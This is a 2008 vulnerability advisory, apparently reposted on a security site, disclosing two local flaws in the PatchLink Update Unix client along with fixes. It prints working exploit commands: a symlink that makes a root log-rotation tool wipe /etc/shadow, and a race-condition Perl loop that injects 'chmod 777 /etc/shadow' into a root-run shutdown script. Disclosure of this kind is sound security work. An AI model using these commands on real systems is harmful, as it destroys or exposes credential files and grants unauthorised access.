Two vulnerabilities for PatchLink Update Client for Unix.

2008-02-01 / 2008-02-02
Credit: lcashdol
Risk: Low
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

PatchLink Update Unix Client File clobbering vulnerability Larry W. Cashdollar Vapid Labs 1/17/2008 Overview From the vendor: ?PatchLink Update? provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats.? http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443 Vulnerability The log rotation utility ?logtrimmer? utilizes space in /tmp improperly and is subject to a symlink attack. By creating a targeted symlink a non root user can clobber root owned files causing DoS. Exploit nobody:/tmp> ln -s /etc/shadow patchlink.tmp After logs are rotated /etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after the log rotation process has finished. Fix Create a subdirectory under /tmp or /var/tmp to work from. For example adding: mkdir /var/tmp/plink chmod 700 /var/tmp/plink Second Vulnerability: The script rebootTask contains the following lines for HP-UX Shutdown and reboot: echo "shutdown -r -y 120" > /tmp/plshutdown chmod 500 /tmp/plshutdown at now < /tmp/plshutdown A race condition exists where a local user could symlink /tmp/plshutdown to a file in their home directory and inject malicous code. This could be done possibly by continuously writing to the file while waiting for the at command to run. $ ln -s /tmp/plshutdown /var/tmp/runme #/bin/perl while(1){ `echo "chmod 777 /etc/shadow" > /var/tmp/runme`; } Also could be fixed by creating a subdirectory to work from under /var/tmp or /tmp. http://vapid.dhs.org


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top